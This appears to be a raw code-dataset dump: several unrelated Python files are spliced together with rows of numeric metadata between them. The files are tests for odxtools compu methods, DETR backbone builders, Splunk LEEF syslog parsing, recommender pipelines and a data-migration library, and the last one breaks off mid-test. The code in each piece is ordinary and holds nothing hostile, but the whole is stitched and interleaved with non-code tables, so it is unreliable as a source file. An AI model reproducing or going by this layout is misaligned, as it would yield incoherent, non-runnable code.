from odxtools.compumethods import Limit, LinearCompuMethod, IntervalType
class TestLinearCompuMethod(unittest.TestCase):
def test_linear_compu_method(self):
compu_method = LinearCompuMethod(1, 3, "A_INT32", "A_INT32")
self.assertEqual(compu_method.convert_internal_to_physical(4), 13)
self.assertEqual(compu_method.convert_internal_to_physical(0), 1)
self.assertEqual(compu_method.convert_internal_to_physical(-2), -5)
self.assertEqual(compu_method.convert_physical_to_internal(13), 4)
self.assertEqual(compu_method.convert_physical_to_internal(1), 0)
self.assertEqual(compu_method.convert_physical_to_internal(-5), -2)
def test_linear_compu_method_type_int_float(self):
compu_method = LinearCompuMethod(1, 3, "A_INT32", "A_FLOAT32")
self.assertTrue(compu_method.is_valid_internal_value(123))
self.assertFalse(compu_method.is_valid_internal_value("123"))
self.assertFalse(compu_method.is_valid_internal_value(1.2345))
self.assertTrue(compu_method.is_valid_physical_value(1.2345))
self.assertTrue(compu_method.is_valid_physical_value(123))
self.assertFalse(compu_method.is_valid_physical_value("123"))
def test_linear_compu_method_type_float_int(self):
compu_method = LinearCompuMethod(1, 3, "A_FLOAT32", "A_INT32")
self.assertTrue(compu_method.is_valid_internal_value(1.2345))
self.assertTrue(compu_method.is_valid_internal_value(123))
self.assertFalse(compu_method.is_valid_internal_value("123"))
self.assertTrue(compu_method.is_valid_physical_value(123))
self.assertFalse(compu_method.is_valid_physical_value("123"))
self.assertFalse(compu_method.is_valid_physical_value(1.2345))
def test_linear_compu_method_type_string(self):
compu_method = LinearCompuMethod(
1, 3, "A_ASCIISTRING", "A_UNICODE2STRING")
self.assertTrue(compu_method.is_valid_internal_value("123"))
self.assertFalse(compu_method.is_valid_internal_value(123))
self.assertFalse(compu_method.is_valid_internal_value(1.2345))
def test_linear_compu_method_limits(self):
compu_method = LinearCompuMethod(1, 5, "A_INT32", "A_INT32",
internal_lower_limit=Limit(2),
internal_upper_limit=Limit(15))
self.assertFalse(compu_method.is_valid_internal_value(-3))
self.assertFalse(compu_method.is_valid_internal_value(1))
self.assertFalse(compu_method.is_valid_internal_value(16))
self.assertTrue(compu_method.is_valid_internal_value(2))
self.assertTrue(compu_method.is_valid_internal_value(15))
self.assertTrue(compu_method.is_valid_internal_value(7))
self.assertFalse(compu_method.is_valid_physical_value(10))
self.assertFalse(compu_method.is_valid_physical_value(77))
self.assertTrue(compu_method.is_valid_physical_value(11))
self.assertTrue(compu_method.is_valid_physical_value(21))
self.assertTrue(compu_method.is_valid_physical_value(76))
self.assertEqual(compu_method.convert_internal_to_physical(4), 21)
self.assertEqual(compu_method.convert_physical_to_internal(21), 4)
def test_linear_compu_method_physical_limits(self):
# Define decoding function: f: (2, 15] -> [-74, -14], f(x) = -5*x + 1
compu_method = LinearCompuMethod(1, -5, "A_INT32", "A_INT32",
internal_lower_limit=Limit(2,
interval_type=IntervalType.OPEN),
internal_upper_limit=Limit(15))
self.assertEqual(compu_method.physical_lower_limit,
Limit(-74, interval_type=IntervalType.CLOSED))
self.assertEqual(compu_method.physical_upper_limit,
Limit(-14, interval_type=IntervalType.CLOSED))
self.assertTrue(compu_method.is_valid_internal_value(3))
self.assertTrue(compu_method.is_valid_internal_value(15))
self.assertFalse(compu_method.is_valid_internal_value(2))
self.assertFalse(compu_method.is_valid_internal_value(16))
self.assertTrue(compu_method.is_valid_physical_value(-74))
self.assertTrue(compu_method.is_valid_physical_value(-14))
self.assertFalse(compu_method.is_valid_physical_value(-75))
self.assertFalse(compu_method.is_valid_physical_value(-13))
if __name__ == '__main__':
unittest.main()
| 49.010526
| 101
| 0.710696
| 582
| 4,656
| 5.273196
| 0.135739
| 0.200717
| 0.144021
| 0.199413
| 0.862496
| 0.805148
| 0.768654
| 0.745846
| 0.467905
| 0.362659
| 0
| 0.043409
| 0.193514
| 4,656
| 94
| 102
| 49.531915
| 0.773901
| 0.027491
| 0
| 0.231884
| 0
| 0
| 0.027851
| 0
| 0
| 0
| 0
| 0
| 0.637681
| 1
| 0.086957
| false
| 0
| 0.028986
| 0
| 0.130435
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d6940f541969023e57107ecc488820ef79d35cb7
| 1,201
|
py
|
Python
|
detr_tensorflow/models/default.py
|
Leonardo-Blanger/detr_tensorflow
|
38fc3c586b6767deed09bd7ec6c2a2fd7002346e
|
[
"MIT"
] | 59
|
2020-07-04T19:14:31.000Z
|
2022-03-08T14:30:27.000Z
|
detr_tensorflow/models/default.py
|
Leonardo-Blanger/detr_tensorflow
|
38fc3c586b6767deed09bd7ec6c2a2fd7002346e
|
[
"MIT"
] | 7
|
2020-08-17T23:57:43.000Z
|
2022-03-22T02:52:20.000Z
|
detr_tensorflow/models/default.py
|
Leonardo-Blanger/detr_tensorflow
|
38fc3c586b6767deed09bd7ec6c2a2fd7002346e
|
[
"MIT"
] | 14
|
2020-08-17T04:10:16.000Z
|
2022-02-06T05:48:33.000Z
|
from .detr import DETR
def build_detr_resnet50(num_classes=91, num_queries=100):
from .backbone import ResNet50Backbone
return DETR(num_classes=num_classes,
num_queries=num_queries,
backbone=ResNet50Backbone(name='backbone'))
def build_detr_resnet50_dc5(num_classes=91, num_queries=100):
from .backbone import ResNet50Backbone
return DETR(num_classes=num_classes,
num_queries=num_queries,
backbone=ResNet50Backbone(
replace_stride_with_dilation=[False, False, True],
name='backbone'))
def build_detr_resnet101(num_classes=91, num_queries=100):
from .backbone import ResNet101Backbone
return DETR(num_classes=num_classes,
num_queries=num_queries,
backbone=ResNet101Backbone(name='backbone'))
def build_detr_resnet101_dc5(num_classes=91, num_queries=100):
from .backbone import ResNet101Backbone
return DETR(num_classes=num_classes,
num_queries=num_queries,
backbone=ResNet101Backbone(
replace_stride_with_dilation=[False, False, True],
name='backbone'))
| 35.323529
| 70
| 0.672773
| 132
| 1,201
| 5.818182
| 0.181818
| 0.15625
| 0.135417
| 0.078125
| 0.940104
| 0.908854
| 0.838542
| 0.838542
| 0.838542
| 0.705729
| 0
| 0.057971
| 0.253122
| 1,201
| 33
| 71
| 36.393939
| 0.798216
| 0
| 0
| 0.64
| 0
| 0
| 0.026644
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.16
| false
| 0
| 0.2
| 0
| 0.52
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
d698fafc48daccabbb481033ba5df5c6c614b7e7
| 9,335
|
py
|
Python
|
tests/test_leef.py
|
ccDev-Labs/splunk-connect-for-syslog
|
2b30c711b4e53135444b485623bfc610ac2f19e2
|
[
"BSD-2-Clause",
"CC0-1.0"
] | 143
|
2019-09-09T16:16:12.000Z
|
2022-03-24T13:39:48.000Z
|
tests/test_leef.py
|
ccDev-Labs/splunk-connect-for-syslog
|
2b30c711b4e53135444b485623bfc610ac2f19e2
|
[
"BSD-2-Clause",
"CC0-1.0"
] | 935
|
2019-08-12T22:02:48.000Z
|
2022-03-31T19:22:13.000Z
|
tests/test_leef.py
|
ccDev-Labs/splunk-connect-for-syslog
|
2b30c711b4e53135444b485623bfc610ac2f19e2
|
[
"BSD-2-Clause",
"CC0-1.0"
] | 105
|
2019-09-30T12:57:22.000Z
|
2022-03-28T20:58:33.000Z
|
# Copyright 2019 Splunk, Inc.
#
# Use of this source code is governed by a BSD-2-clause-style
# license that can be found in the LICENSE-BSD2 file or at
# https://opensource.org/licenses/BSD-2-Clause
import random
import pytest
from jinja2 import Environment
from .sendmessage import *
from .splunkutils import *
from .timeutils import *
env = Environment()
# <13>Jan 18 11:07:53 192.168.1.1 LEEF:1.0|Microsoft|MSExchange|4.0 SP1|15345|src=192.0.2.0 dst=172.50.123.1 sev=5cat=anomaly srcPort=81 dstPort=21 usrName=joe.black
# Jan 18 11:07:53 myhostname LEEF:1.0|Microsoft|MSExchange|4.0 SP1|15345|src=192.0.2.0 dst=172.50.123.1 sev=5 cat=anomaly srcPort=81 dstPort=21 usrName=joe.black
# <13>Jan 18 11:07:53 192.168.1.1 LEEF:2.0|Vendor|Product|Version|EventID|^|src=192.0.2.0^dst=172.50.123.1^sev=5cat=anomaly^srcPort=81^dstPort=21^usrName=joe.black
# Jan 18 11:07:53 myhostname LEEF:2.0|Vendor|Product|Version|EventID|^|src=192.0.2.0^dst=172.50.123.1^sev=5cat=anomaly^srcPort=81^dstPort=21^usrName=joe.black
testdata1 = [
"{{ mark }}{{ bsd }} {{ host }} LEEF:1.0|Vendor|Product|Version|EventID|src=192.0.2.0\tdst=172.50.123.1\tsev=5\tcat=anomaly\tsrcPort=81\tdstPort=21\tusrName=joe.black",
"{{ bsd }} {{ host }} LEEF:1.0|Vendor|Product|Version|EventID|src=192.0.2.0\tdst=172.50.123.1\tsev=5\tcat=anomaly\tsrcPort=81\tdstPort=21\tusrName=joe.black",
"{{ mark }}1 {{ iso }} {{ host }} LEEF:1.0|Vendor|Product|Version|EventID|src=192.0.2.0\tdst=172.50.123.1\tsev=5\tcat=anomaly\tsrcPort=81\tdstPort=21\tusrName=joe.black",
"{{ mark }}1 {{ iso }} {{ host }} LEEF:1.0|Vendor|Product|Version|EventID|src=192.0.2.0\tdst=172.50.123.1\tsev=5\tcat=anomaly\tsrcPort=81\tdstPort=21\tusrName=joe.black",
"{{ mark }}1 {{ iso }} {{ host }} LEEF:1.0|Palo Alto Networks|PAN-OS Syslog Integration|8.1.8|allow|cat=TRAFFIC|ReceiveTime=2020/09/03 09:54:59|SerialNumber=012345678912|Type=TRAFFIC|Subtype=end|devTime=Sep 03 2020 14:54:59 GMT|src=1.1.1.1|dst=1.1.1.1|srcPostNAT=0.0.0.0|dstPostNAT=0.0.0.0|RuleName=test|usrName=|SourceUser=|DestinationUser=|Application=incomplete|VirtualSystem=vsys1|SourceZone=test|DestinationZone=test|IngressInterface=test|EgressInterface=test|LogForwardingProfile=Log to Panorama|SessionID=test|RepeatCount=1|srcPort=12345|dstPort=443|srcPostNATPort=0|dstPostNATPort=0|Flags=0x19|proto=tcp|action=allow|totalBytes=60|dstBytes=0|srcBytes=60|totalPackets=1|StartTime=2020/09/03 09:54:53|ElapsedTime=0|URLCategory=any|sequence=6694316277998249989|ActionFlags=0x8000000000000000|SourceLocation=United States|DestinationLocation=United States|dstPackets=0|srcPackets=1|SessionEndReason=aged-out|DeviceGroupHierarchyL1=117|DeviceGroupHierarchyL2=118|DeviceGroupHierarchyL3=119|DeviceGroupHierarchyL4=146|vSrcName=vsys1|DeviceName=host|ActionSource=from-policy|SrcUUID=|DstUUID=|TunnelID=0|MonitorTag=|ParentSessionID=0|ParentStartTime=|TunnelType=N/A'",
]
# <13>1 2019-01-18T11:07:53.520Z 192.168.1.1 LEEF:1.0|Microsoft|MSExchange|4.0 SP1|15345|src=192.0.2.0 dst=172.50.123.1 sev=5cat=anomaly srcPort=81 dstPort=21 usrName=joe.black
# <133>1 2019-01-18T11:07:53.520+07:00 myhostname LEEF:1.0|Microsoft|MSExchange|4.0 SP1|15345|src=192.0.2.0 dst=172.50.123.1 sev=5cat=anomaly srcPort=81 dstPort=21 usrName=joe.black
# <13>1 2019-01-18T11:07:53.520Z 192.168.1.1 LEEF:2.0|Vendor|Product|Version|EventID|^|src=192.0.2.0^dst=172.50.123.1^sev=5cat=anomaly^srcPort=81^dstPort=21^usrName=joe.black
# <133>1 2019-01-18T11:07:53.520+07:00 myhostname LEEF:2.0|Vendor|Product|Version|EventID|^|src=192.0.2.0^dst=172.50.123.1^sev=5cat=anomaly^srcPort=81^dstPort=21^usrName=joe.black
testdata2 = [
"{{ mark }}{{ bsd }} {{ host }} LEEF:2.0|Vendor|Product|Version|EventID|^|src=192.0.2.0^dst=172.50.123.1^sev=5^cat=anomaly^srcPort=81^dstPort=21^usrName=joe.black",
"{{ bsd }} {{ host }} LEEF:2.0|Vendor|Product|Version|EventID|^|src=192.0.2.0^dst=172.50.123.1^sev=5^cat=anomaly^srcPort=81^dstPort=21^usrName=joe.black",
"{{ mark }}1 {{ iso }} {{ host }} LEEF:2.0|Vendor|Product|Version|EventID|^|src=192.0.2.0^dst=172.50.123.1^sev=5^cat=anomaly^srcPort=81^dstPort=21^usrName=joe.black",
"{{ mark }}1 {{ iso }} {{ host }} LEEF:2.0|Vendor|Product|Version|EventID|^|src=192.0.2.0^dst=172.50.123.1^sev=5^cat=anomaly^srcPort=81^dstPort=21^usrName=joe.black",
"{{ mark }}1 {{ iso }} {{ host }} LEEF:2.0|Vendor|Product|Version|EventID|0x5E|src=192.0.2.0^dst=172.50.123.1^sev=5^cat=anomaly^srcPort=81^dstPort=21^usrName=joe.black",
"{{ mark }}1 {{ iso }} {{ host }} LEEF:2.0|Vendor|Product|Version|EventID|x5E|src=192.0.2.0^dst=172.50.123.1^sev=5^cat=anomaly^srcPort=81^dstPort=21^usrName=joe.black",
"{{ mark }}1 {{ iso }} {{ host }} LEEF:2.0|Vendor|Product|Version|EventID||src=192.0.2.0\tdst=172.50.123.1\tsev=5\tcat=anomaly\tsrcPort=81\tdstPort=21\tusrName=joe.black",
"{{ mark }}1 {{ iso }} {{ host }} LEEF:2.0|Vendor|Product|Version|EventID|src=200.0.2.0\tdst=172.50.123.1\tsev=5\tcat=anomaly\tsrcPort=81\tdstPort=21\tusrName=joe.black",
]
# The following samples test "raw time" parsing
testdata3 = [
"{{ mark }} Jan 1 01:01:00 {{ host }} LEEF:1.0|Vendor|Product|Version|EventID|src=192.0.2.0\tdst=172.50.123.1\tsev=5\tcat=anomaly\tsrcPort=81\tdstPort=21\tusrName=joe.black\tdevTime={{ epoch }}",
"{{ mark }}1 2019-01-18T11:07:53.520Z {{ host }} LEEF:2.0|Vendor|Product|Version|EventID|^|src=200.0.2.0^dst=172.50.123.1^sev=5^cat=anomaly^srcPort=81^dstPort=21^usrName=joe.black^devTime={{ epoch }}",
"{{ mark }}1 2019-01-18T11:07:53.520Z {{ host }} LEEF:2.0|Vendor|Product|Version|EventID|^|src=200.0.2.0^dst=172.50.123.1^sev=5^cat=anomaly^srcPort=81^dstPort=21^usrName=joe.black^devTime={{ epoch }}^devTimeFormat=",
"{{ mark }}1 2019-01-18T11:07:53.520Z {{ host }} LEEF:2.0|Vendor|Product|Version|EventID|^|src=200.0.2.0^dst=172.50.123.1^sev=5^cat=anomaly^srcPort=81^dstPort=21^usrName=joe.black^devTime={{ bsd }}^devTimeFormat=MMM dd yyyy HH:mm:ss",
"{{ mark }}1 2019-01-18T11:07:53.520Z {{ host }} LEEF:2.0|Vendor|Product|Version|EventID|^|src=200.0.2.0^dst=172.50.123.1^sev=5^cat=anomaly^srcPort=81^dstPort=21^usrName=joe.black^devTime={{ bsd }}.000^devTimeFormat=MMM dd yyyy HH:mm:ss.SSS",
"{{ mark }}1 2019-01-18T11:07:53.520Z {{ host }} LEEF:2.0|Vendor|Product|Version|EventID|^|src=200.0.2.0^dst=172.50.123.1^sev=5^cat=anomaly^srcPort=81^dstPort=21^usrName=joe.black^devTime={{ bsd }}.000 EST^devTimeFormat=MMM dd yyyy HH:mm:ss.SSS z",
]
@pytest.mark.parametrize("event", testdata1)
def test_leef1_generic(
record_property, setup_wordlist, setup_splunk, setup_sc4s, event
):
host = "{}-{}".format(random.choice(setup_wordlist), random.choice(setup_wordlist))
dt = datetime.datetime.now()
iso, bsd, time, date, tzoffset, tzname, epoch = time_operations(dt)
# Tune time functions
iso = iso[0:19] + iso[26:32]
epoch = epoch[:-7]
mt = env.from_string(event + "\n")
message = mt.render(mark="<111>", bsd=bsd, host=host, iso=iso)
sendsingle(message, setup_sc4s[0], setup_sc4s[1][514])
st = env.from_string(
'search _time={{ epoch }} index=main host="{{ host }}" sourcetype="LEEF:1"'
)
search = st.render(epoch=epoch, host=host)
resultCount, eventCount = splunk_single(setup_splunk, search)
record_property("host", host)
record_property("resultCount", resultCount)
record_property("message", message)
assert resultCount == 1
@pytest.mark.parametrize("event", testdata2)
def test_leef2_generic(
record_property, setup_wordlist, setup_splunk, setup_sc4s, event
):
host = "{}-{}".format(random.choice(setup_wordlist), random.choice(setup_wordlist))
dt = datetime.datetime.now()
iso, bsd, time, date, tzoffset, tzname, epoch = time_operations(dt)
# Tune time functions
iso = iso[0:19] + iso[26:32]
epoch = epoch[:-7]
mt = env.from_string(event + "\n")
message = mt.render(mark="<111>", bsd=bsd, host=host, iso=iso)
sendsingle(message, setup_sc4s[0], setup_sc4s[1][514])
st = env.from_string(
'search _time={{ epoch }} index=main host="{{ host }}" sourcetype="LEEF:2:*"'
)
search = st.render(epoch=epoch, host=host)
resultCount, eventCount = splunk_single(setup_splunk, search)
record_property("host", host)
record_property("resultCount", resultCount)
record_property("message", message)
assert resultCount == 1
@pytest.mark.parametrize("event", testdata3)
def test_leef_devtime(record_property, setup_wordlist, setup_splunk, setup_sc4s, event):
host = "{}-{}".format(random.choice(setup_wordlist), random.choice(setup_wordlist))
dt = datetime.datetime.now()
iso, bsd, time, date, tzoffset, tzname, epoch = time_operations(dt)
# Tune time functions
iso = iso[0:19] + iso[26:32]
epoch = epoch[:-7]
mt = env.from_string(event + "\n")
message = mt.render(mark="<111>", bsd=bsd, host=host, iso=iso, epoch=epoch)
sendsingle(message, setup_sc4s[0], setup_sc4s[1][514])
st = env.from_string(
'search _time={{ epoch }} index=main host="{{ host }}" sourcetype="LEEF:*"'
)
search = st.render(epoch=epoch, host=host)
resultCount, eventCount = splunk_single(setup_splunk, search)
record_property("host", host)
record_property("resultCount", resultCount)
record_property("message", message)
assert resultCount == 1
| 64.826389
| 1,173
| 0.712051
| 1,543
| 9,335
| 4.270901
| 0.166559
| 0.01305
| 0.011836
| 0.035508
| 0.781639
| 0.777997
| 0.777997
| 0.773748
| 0.76434
| 0.76434
| 0
| 0.132006
| 0.10166
| 9,335
| 143
| 1,174
| 65.27972
| 0.653828
| 0.176111
| 0
| 0.55914
| 0
| 0.204301
| 0.623094
| 0.481168
| 0
| 0
| 0.003389
| 0
| 0.032258
| 1
| 0.032258
| false
| 0
| 0.064516
| 0
| 0.096774
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
ba945d979915ca09149b16dbf415d619a470d03d
| 3,542
|
py
|
Python
|
test/code/test_explicit_cf_recommenders.py
|
IooHooI/RECOMMENDATION_SYSTEMS_1
|
00af7d99b5c74c7b1666c4103fd6261f56228b31
|
[
"Unlicense"
] | null | null | null |
test/code/test_explicit_cf_recommenders.py
|
IooHooI/RECOMMENDATION_SYSTEMS_1
|
00af7d99b5c74c7b1666c4103fd6261f56228b31
|
[
"Unlicense"
] | 4
|
2020-03-24T15:44:08.000Z
|
2021-12-13T19:47:09.000Z
|
test/code/test_explicit_cf_recommenders.py
|
IooHooI/RECOMMENDATION_SYSTEMS_1
|
00af7d99b5c74c7b1666c4103fd6261f56228b31
|
[
"Unlicense"
] | 1
|
2018-04-19T08:13:49.000Z
|
2018-04-19T08:13:49.000Z
|
import unittest
import pandas as pd
from sklearn.pipeline import Pipeline
from source.code.sparse import SparseMatrixCreator
from source.code.cfsvd import SVDRecommender
from source.code.cfnmf import NMFRecommender
from source.code.split import TrainTestSplitter
from source.code.utils import preprocessing
from source.code.metrics import rmse
class TestSVDPipeline(unittest.TestCase):
def setUp(self):
enc = 'Windows-1251'
addr = '../../notebooks/data/BX-{}.csv'
self.ratings = pd.read_csv(
filepath_or_buffer=addr.format('Book-Ratings'),
error_bad_lines=False,
warn_bad_lines=False,
low_memory=False,
encoding=enc,
header=0,
sep=';'
)
self.books = pd.read_csv(
filepath_or_buffer=addr.format('Books'),
error_bad_lines=False,
warn_bad_lines=False,
low_memory=False,
encoding=enc,
header=0,
sep=';'
)
self.users = pd.read_csv(
filepath_or_buffer=addr.format('Users'),
error_bad_lines=False,
warn_bad_lines=False,
low_memory=False,
encoding=enc,
header=0,
sep=';'
)
self.data_dict = {'books': self.books, 'users': self.users, 'ratings': self.ratings}
def test_case_1(self):
pipeline = Pipeline([
('sparse', SparseMatrixCreator()),
('fit', SVDRecommender(n_components=2))
])
preprecessed_data_dict = preprocessing(self.data_dict, True, 50, 50)
tds = TrainTestSplitter(preprecessed_data_dict, 10, 0.2)
train, test = next(tds.__iter__())
pipeline.fit(train)
y_pred = pipeline._final_estimator.predict(test)
y_true = test['ratings']['Book-Rating'].values
print(rmse(y_true, y_pred))
class TestNMFPipeline(unittest.TestCase):
def setUp(self):
enc = 'Windows-1251'
addr = '../../notebooks/data/BX-{}.csv'
self.ratings = pd.read_csv(
filepath_or_buffer=addr.format('Book-Ratings'),
error_bad_lines=False,
warn_bad_lines=False,
low_memory=False,
encoding=enc,
header=0,
sep=';'
)
self.books = pd.read_csv(
filepath_or_buffer=addr.format('Books'),
error_bad_lines=False,
warn_bad_lines=False,
low_memory=False,
encoding=enc,
header=0,
sep=';'
)
self.users = pd.read_csv(
filepath_or_buffer=addr.format('Users'),
error_bad_lines=False,
warn_bad_lines=False,
low_memory=False,
encoding=enc,
header=0,
sep=';'
)
self.data_dict = {'books': self.books, 'users': self.users, 'ratings': self.ratings}
def test_case_1(self):
pipeline = Pipeline([
('sparse', SparseMatrixCreator()),
('fit', NMFRecommender(n_components=2))
])
preprecessed_data_dict = preprocessing(self.data_dict, True, 50, 50)
tds = TrainTestSplitter(preprecessed_data_dict, 10, 0.2)
train, test = next(tds.__iter__())
pipeline.fit(train)
y_pred = pipeline._final_estimator.predict(test)
y_true = test['ratings']['Book-Rating'].values
print(rmse(y_true, y_pred))
if __name__ == '__main__':
unittest.main()
| 27.889764
| 92
| 0.576793
| 390
| 3,542
| 4.997436
| 0.215385
| 0.049256
| 0.080041
| 0.052335
| 0.801437
| 0.801437
| 0.801437
| 0.801437
| 0.801437
| 0.801437
| 0
| 0.0139
| 0.30943
| 3,542
| 126
| 93
| 28.111111
| 0.782911
| 0
| 0
| 0.787879
| 0
| 0
| 0.064935
| 0.01694
| 0
| 0
| 0
| 0
| 0
| 1
| 0.040404
| false
| 0
| 0.090909
| 0
| 0.151515
| 0.020202
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
bae62352e323c6b86dce27aaeba216da577be146
| 15,088
|
py
|
Python
|
tests/datamigrations_facades/tests.py
|
samuelmaudo/yepes
|
1ef9a42d4eaa70d9b3e6e7fa519396c1e1174fcb
|
[
"BSD-3-Clause"
] | null | null | null |
tests/datamigrations_facades/tests.py
|
samuelmaudo/yepes
|
1ef9a42d4eaa70d9b3e6e7fa519396c1e1174fcb
|
[
"BSD-3-Clause"
] | null | null | null |
tests/datamigrations_facades/tests.py
|
samuelmaudo/yepes
|
1ef9a42d4eaa70d9b3e6e7fa519396c1e1174fcb
|
[
"BSD-3-Clause"
] | null | null | null |
# -*- coding:utf-8 -*-
from __future__ import unicode_literals
import os
from django.test import TestCase
from django.utils._os import upath
from yepes.apps import apps
from yepes.contrib.datamigrations import ModelMigration
from yepes.contrib.datamigrations.facades import (
MultipleExportFacade,
MultipleImportFacade,
SingleExportFacade,
SingleImportFacade,
)
from yepes.contrib.datamigrations.importation_plans.direct import DirectPlan
from yepes.contrib.datamigrations.serializers.csv import CsvSerializer
from yepes.contrib.datamigrations.serializers.json import JsonSerializer
from yepes.test_mixins import TempDirMixin
from .models import Alphabet, Author, Category, Post, Tag
PostTags = apps.get_model('datamigrations_facades_tests.post_tags')
MODULE_DIR = os.path.abspath(os.path.dirname(upath(__file__)))
MIGRATIONS_DIR = os.path.join(MODULE_DIR, 'data_migrations')
class MultipleExportTest(TempDirMixin, TestCase):
available_apps = ['datamigrations_facades']
maxDiff = None
tempDirPrefix = 'test_datamigrations_facades_'
def test_no_file(self):
with self.assertRaises(TypeError):
MultipleExportFacade.to_file_path()
def test_invalid_label(self):
result_path = os.path.join(self.temp_dir, 'backup')
with self.assertRaisesRegexp(LookupError, "No installed app with label 'appname_ModelName'."):
MultipleExportFacade.to_file_path(result_path, models=['appname_ModelName'])
def test_app_not_found(self):
result_path = os.path.join(self.temp_dir, 'backup')
with self.assertRaisesRegexp(LookupError, "No installed app with label 'appname'."):
MultipleExportFacade.to_file_path(result_path, models=['appname.ModelName'])
def test_model_not_found(self):
result_path = os.path.join(self.temp_dir, 'backup')
with self.assertRaisesRegexp(LookupError, "App 'datamigrations_facades_tests' doesn't have a '[Mm]odel[Nn]ame' model."):
MultipleExportFacade.to_file_path(result_path, models=['datamigrations_facades_tests.ModelName'])
def test_serializer_not_found(self):
result_path = os.path.join(self.temp_dir, 'backup')
with self.assertRaisesRegexp(LookupError, "Serializer 'serializername' could not be found."):
MultipleExportFacade.to_file_path(result_path, models=['datamigrations_facades_tests.Alphabet'], serializer='serializername')
def test_file(self):
migration = ModelMigration(Author)
source_path = os.path.join(MIGRATIONS_DIR, 'author.json')
with open(source_path, 'r') as source_file:
migration.import_data(source_file, JsonSerializer, DirectPlan)
migration = ModelMigration(Category)
source_path = os.path.join(MIGRATIONS_DIR, 'category.json')
with open(source_path, 'r') as source_file:
migration.import_data(source_file, JsonSerializer, DirectPlan)
migration = ModelMigration(Tag)
source_path = os.path.join(MIGRATIONS_DIR, 'tag.json')
with open(source_path, 'r') as source_file:
migration.import_data(source_file, JsonSerializer, DirectPlan)
migration = ModelMigration(Post)
source_path = os.path.join(MIGRATIONS_DIR, 'post.json')
with open(source_path, 'r') as source_file:
migration.import_data(source_file, JsonSerializer, DirectPlan)
migration = ModelMigration(PostTags)
source_path = os.path.join(MIGRATIONS_DIR, 'post_tags.json')
with open(source_path, 'r') as source_file:
migration.import_data(source_file, JsonSerializer, DirectPlan)
source_path = os.path.join(MIGRATIONS_DIR, 'backup')
result_path = os.path.join(self.temp_dir, 'backup')
MultipleExportFacade.to_file_path(
result_path,
serializer='json',
use_natural_keys=True,
)
with open(source_path, 'r') as source_file:
source = source_file.read()
with open(result_path, 'r') as result_file:
result = result_file.read()
self.assertEqual(source.splitlines(), result.splitlines())
def test_labels(self):
migration = ModelMigration(Category)
source_path = os.path.join(MIGRATIONS_DIR, 'category.json')
with open(source_path, 'r') as source_file:
migration.import_data(source_file, JsonSerializer, DirectPlan)
result_path = os.path.join(self.temp_dir, 'backup')
MultipleExportFacade.to_file_path(
result_path,
models=['datamigrations_facades_tests.Category'],
)
with open(result_path, 'r') as result_file:
result = result_file.read()
self.assertEqual(1, result.count('Type: MODEL;'))
self.assertIn('Name: datamigrations_facades_tests.category;', result)
class MultipleImportTest(TempDirMixin, TestCase):
available_apps = ['datamigrations_facades']
maxDiff = None
tempDirPrefix = 'test_datamigrations_facades_'
def test_no_file(self):
with self.assertRaises(TypeError):
MultipleImportFacade.from_file_path()
def test_file_not_found(self):
with self.assertRaisesRegexp(AttributeError, "File 'filename' does not exit."):
MultipleImportFacade.from_file_path('filename')
def test_invalid_file(self):
source_path = os.path.join(MIGRATIONS_DIR, 'alphabet.csv')
with self.assertRaisesRegexp(ValueError, 'Invalid file format.'):
MultipleImportFacade.from_file_path(source_path)
def test_invalid_label(self):
source_path = os.path.join(MIGRATIONS_DIR, 'backup')
with self.assertRaisesRegexp(LookupError, "No installed app with label 'appname_ModelName'."):
MultipleImportFacade.from_file_path(source_path, models=['appname_ModelName'])
def test_app_not_found(self):
source_path = os.path.join(MIGRATIONS_DIR, 'backup')
with self.assertRaisesRegexp(LookupError, "No installed app with label 'appname'."):
MultipleImportFacade.from_file_path(source_path, models=['appname.ModelName'])
def test_model_not_found(self):
source_path = os.path.join(MIGRATIONS_DIR, 'backup')
with self.assertRaisesRegexp(LookupError, "App 'datamigrations_facades_tests' doesn't have a '[Mm]odel[Nn]ame' model."):
MultipleImportFacade.from_file_path(source_path, models=['datamigrations_facades_tests.ModelName'])
def test_serializer_not_found(self):
source_path = os.path.join(MIGRATIONS_DIR, 'backup')
with self.assertRaisesRegexp(LookupError, "Serializer 'serializername' could not be found."):
MultipleImportFacade.from_file_path(source_path, models=['datamigrations_facades_tests.Alphabet'], serializer='serializername')
def test_importation_plan_not_found(self):
source_path = os.path.join(MIGRATIONS_DIR, 'backup')
with self.assertRaisesRegexp(LookupError, "Importation plan 'planname' could not be found."):
MultipleImportFacade.from_file_path(source_path, models=['datamigrations_facades_tests.Alphabet'], plan='planname')
def test_file(self):
source_path = os.path.join(MIGRATIONS_DIR, 'backup')
MultipleImportFacade.from_file_path(
source_path,
use_natural_keys=True,
plan='direct',
)
source_path = os.path.join(MIGRATIONS_DIR, 'author.json')
with open(source_path, 'r') as source_file:
source = source_file.read()
migration = ModelMigration(Author)
result = migration.export_data(None, JsonSerializer)
self.assertEqual(source.splitlines(), result.splitlines())
source_path = os.path.join(MIGRATIONS_DIR, 'category.json')
with open(source_path, 'r') as source_file:
source = source_file.read()
migration = ModelMigration(Category)
result = migration.export_data(None, JsonSerializer)
self.assertEqual(source.splitlines(), result.splitlines())
